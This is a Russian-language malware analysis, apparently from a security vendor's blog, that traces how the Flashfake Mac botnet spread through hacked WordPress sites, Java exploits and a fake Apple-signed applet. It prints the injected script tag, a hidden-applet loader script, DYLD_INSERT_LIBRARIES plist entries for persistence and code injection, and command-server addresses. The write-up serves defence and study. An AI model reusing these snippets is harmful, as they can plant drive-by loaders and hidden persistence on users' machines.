Описание вредоносного ПО

Анатомия Flashfake. Часть I

Что такое Flashback/Flashfake?

Flashfake — это семейство вредоносных программ для Mac OSX. Первые варианты этих угроз были обнаружены в сентябре 2011 года. В марте 2012 Flashback заразил около 700 000 компьютеров по всему миру. Зараженные компьютеры объединены в ботнет, и злоумышленники могут устанавливать на них любые дополнительные вредоносные модули. Известно, что один из модулей занимается подменой трафика в браузере. Не исключено, что помимо перехвата и подмены трафика, преступники могут загружать на зараженные компьютеры и другие вредоносные модули — например для кражи данных или рассылки спама.

Нулевая стадия заражения: взломанные WordPress-блоги

С сентября 2011 до февраля 2012 года для распространения Flashfake использовалась только социальная инженерия: посетителям различных сайтов предлагалось загрузить поддельное обновление Adobe Flash Player. Таким образом, троянец распространялся в виде инсталляционных архивов с именами «FlashPlayer-11-macos.pkg», «AdobeFlashUpdate.pkg» и т.д.

Впервые применение эксплойтов для распространения Flashfake было обнаружено в феврале 2012 года: в ходе атак использовались эксплойты 2008 и 2011 годов. Эксплуатация уязвимости CVE2012-0507 впервые была отмечена в марте 2012 года. Тогда CVE2012-0507 представляла собой неисправленную уязвимость для Mac OSX, несмотря на то что компания Oracle уже выпустила собственный патч в феврале. Дело в том, что Apple не использует патчи от Oracle, и для исправления уязвимостей в Java готовит собственные. Соответствующий патч для Mac OSX, исправляющий уязвимость CVE2012-0507, был опубликован только в начале апреля.

И такая примерно двухмесячная задержка выпуска патчей является традиционной для Apple.

Название уязвимости Патч от Oracle Патч от Apple
CVE2008-5353 14.04.2009 15.06.2009
CVE2011-3544 18.10.2011 08.11.2011
CVE2012-0507 14.02.2012 03-12.04.2012

 

Для распространения Flashfake в марте 2012 года его авторы воспользовались услугами одной из киберкриминальных партнерских программ, предположительно российского происхождения.

«Партнерка» базируется на скрытых редиректах со множества легальных веб-сайтов по всему миру. Ориентировочно в конце февраля — начале марта 2012 года десятки тысяч сайтов, работающих под управлением WordPress, были взломаны. Каким образом они были взломаны, неизвестно. Основные версии — это использование владельцами блогов уязвимых версий WordPress и возможная установка ими плагина ToolsPack, являющегося бэкдором. Компания Websense оценивает число пострадавших сайтов в 30 000, по оценкам других компаний оно может достигать 100 000. Около 85% всех взломанных блогов находились в США.

В ходе взламывания блогов были осуществлены инжекты кода в главные страницы. В код добавлялись конструкции следующего вида:

<script src=»http://имядомена.rr.nu/nl.php?p=d»></script>

В результате при посещении любого из взломанных сайтов происходило обращение к серверу-маршрутизатору партнерской программы, после чего, в зависимости от версии операционной системы и браузера, браузер пользователя скрытно перенаправлялся на другие сайты в доменной зоне rr.nu, на которых и были установлены соответствующие наборы эксплойтов для заражения.


Код сайта на WordPress с внедренной ссылкой на вредоносный скрипт

Первая стадия заражения: drive-by-download и социальная инженерия

В ходе скрытого перенаправления (пример: hxxp://ixeld52erlya.rr.nu/n.php?h=1&s=pmg) браузер обращался к каталогам /3f/ или /7f/ на вредоносном сайте и запускал на исполнение JavaScript с вызовом Java-апплета.

Пример одного из скриптов:

if(rts != «on»){

document.write(‘<applet archive=»rh-3.jar» code=»rhcls» width=»1″

height=»1″></applet>’);

document.write(‘<applet archive=»cl-3.jar» code=»msf/x/AppletX»

width=»1″ height=»1″></applet>’);

}

Атака производилась путем попытки исполнения четырех Jar-файлов (приложения Java). Три из них представляли собой эксплойты уязвимостей в Java, еще один был сконструирован как легальное приложение, для обмана пользователя использовался метод социальной инженерии.

Использованные уязвимости:

Каждый Jar-файл содержит в себе эксплойт к соответствующей уязвимости и исполняемый вредоносный файл, который будет извлечен и установлен в систему.


Образец части кода эксплойта к CVE2008-5353


Образец части кода эксплойта к CVE2011-3544


Образец части кода эксплойта CVE2012-0507

Если использование эксплойтов оказывается безуспешным, то происходит попытка заражения системы при помощи специального Java-апплета, пытающегося выдать себя за легальный файл, подписанный компанией Apple, и получить от пользователя права на установку в систему.

Впервые подобная схема распространения Flashfake была обнаружена в феврале 2012 года.

Злоумышленники рассчитывают, что пользователь, увидев, что приложение подписано компанией Apple, согласится на предоставление прав для доступа в систему. На самом деле файл не содержит настоящей подписи Apple: использованный сертификат является поддельным и создан киберпреступниками самостоятельно.


Часть кода поддельного сертификата

Если пользователь согласится на предоставление прав доступа, то из апплета будет извлечен и установлен в систему вредоносный файл.


Образец части кода поддельного апплета

Таким образом, в результате выполнения в пользовательском браузере любого из вышеописанных апплетов (с уязвимостями или c выданными самим пользователем правами), в систему будет установлен файл-контейнер, представляющий собой загрузчик и установщик для последующих компонентов Flashfake.

Данный файл устанавливается и запускается по пути /tmp/.sysenter (при использовании эксплойта к уязвимости CVE2012-0507 имя файла генерируется произвольно).


Схематическое изображение первой стадии заражения

Вторая стадия заражения: загрузчик первого уровня

Установленный в систему файл представляет собой контейнер формата mach-o binary, содержащий внутри себя соответственно 32- и 64-битные модули практически с идентичным функционалом.

Основными функциями такого модуля является установка коммуникации с сервером управления 1-го уровня, загрузка оттуда дополнительных модулей и их установка в систему.
После окончания работы модуль самоудаляется и более в зараженной системе не присутствует.

При запуске модуль проверяет наличие установленного в системе приложения LittleSnitch (популярный файервол для Mac OSX), набора средств для разработки приложений OSX — XCode —и антивирусных приложений VirusBarrierX6.app, iAntiVirus.app, avast!.app, ClamXav.app, а также приложений HTTPScoop.app и Packet Peeper.app. Если данные приложения обнаружены, модуль завершает свою работу и самоудаляется.

В противном случае модуль соединяется с одним из серверов управления (например, 31.31.79.87, 78.46.139.211), куда передает UUID (уникальный идентификационный номер компьютера) и дополнительную информацию о системе (версия ОС), и в ответ получает для загрузки пакет, содержащий два дополнительных компонента, зашифрованных с привязкой к UUID компьютера.


Часть кода модуля. Видны названия проверяемых приложений и адрес сервера управления

После загрузки пакета модуль извлекает из него файлы-компоненты и пытается установить их в систему:


Схема работы Flashfake на данной стадии заражения

Первым компонентом является бэкдор-загрузчик. Именно он и является основным бот-модулем и отвечает за дальнейшее взаимодействие с ботнетом и загрузку обновлений.

Установщик копирует тело бэкдора в корневой раздел домашнего каталога пользователя $HOME/ под произвольным именем, начинающимся с точки, например .null.

Для обеспечения дальнейшей работы бэкдора установщик также создает файл .plist:


Пример .plist файла

Этот файл устанавливается в каталог $HOME/Library/LaunchAgents/. Тем самым, обеспечивается автоматическая загрузка модуля бэкдора при каждом запуске системы.


Схема работы Flashfake на данной стадии

Второй устанавливаемый из Сети компонент — модуль перехвата трафика и подмены страниц в браузере.

Процедура установки данного модуля значительно изменилась в последней версии установщика Flashfake, распространявшегося при помощи уязвимости CVE2012-0507. Мы опишем именно ее.


Часть кода установщика

Установщик вызывает системную функцию запроса администраторских привилегий, ожидая от пользователя ввода имени и рутового пароля.


Запрос прав

Если пользователь введет требуемые данные, то установщик получит возможность открыть на запись приложение браузера Safari.app (Applications/Safari.app/Contents/Resources/) и запишет в него модули: один отвечает за перехват трафика и подмену страниц, второй — за загрузку первого модуля в процессе браузера. Имена данных модулей выбираются произвольно, но все они начинаются с символа «точка» и оканчиваются расширениями .png и .xsl.

Для автоматического запуска модулей установщик модифицирует содержимое файла /Applications/Safari.app/Contents/Info.plist, добавляя в него следующие строки:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/.имя_файла.xsl</string>
</dict>

В случае успешного выполнения этих действий установщик соединяется с центром управления по адресу, например 31.31.79.87/stat_d/, тем самым сообщая об успешной операции. В случае какого-либо сбоя при установке соединение произойдет с 31.31.79.87/stat_n/.

После завершения этих операций установщик перезапускает браузер Safari, чтобы изменения вступили в силу, и завершает свою работу, самоудаляясь из системы.

В случае если пользователь не введет пароль администратора и нажмет Cancel, установщик будет инсталлировать модули по другой схеме.

Сначала установщик проверяет наличие в системе приложений Microsoft Word.app, Microsoft Office 2008, Applications/Microsoft Office 2011, Skype.app. Если такие приложения обнаружены, установщик прекращает свою работу и самоудаляется.

Модуль перехвата и подмены трафика будет установлен в /Users/Shared/ с именем «.libgmalloc.dylib«.

Перед этим установщик удаляет из данного каталога файлы по команде «rm -f /Users/Shared/.*.so». Данная операция удаления проводится, вероятно, для того чтобы удалить из системы предыдущие варианты Flashfake, если такие имелись.

Затем установщик создает файл $HOME/.MacOS/environment.plist, в который записывает следующие строки:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Users/Shared/.libgmalloc.dylib</string>

Это приведет к тому, что модуль будет «хукаться» и подгружаться при запуске во все приложения.

Еще один вспомогательный компонент будет установлен в пользовательский каталог $HOME/Library/Application Support/ с произвольным именем, начинающимся с точки и с расширением .tmp.


Схема работы Flashfake на этапе инсталляции модуля перехвата и подмены трафика

По завершении инсталляции установщик соединяется с центром управления по адресу 31.31.79.87/stat_u/, сообщая об успешном заражении. После этого установщик прекращает свою работу и самоудаляется.

Анатомия Flashfake. Часть II

Анатомия Flashfake. Часть I

Ваш e-mail не будет опубликован. Обязательные поля помечены *

 

Отчеты

StripedFly: двуликий и незаметный

Разбираем фреймворк StripedFly для целевых атак, использовавший собственную версию эксплойта EternalBlue и успешно прикрывавшийся майнером.

Азиатские APT-группировки: тактики, техники и процедуры

Делимся с сообществом подходами, которые используют азиатские APT-группировки при взломе инфраструктуры, и подробной информацией о тактиках, техниках и процедурах (TTPs) злоумышленников, основанной на методологии MITRE ATT&CK.

Как поймать «Триангуляцию»

Эксперты «Лаборатории Касперского» смогли получить все этапы «Операции Триангуляция»: эксплойты нулевого дня для iOS, валидаторы, имплант TriangleDB и дополнительные модули.

Подпишитесь на еженедельную рассылку

Самая актуальная аналитика – в вашем почтовом ящике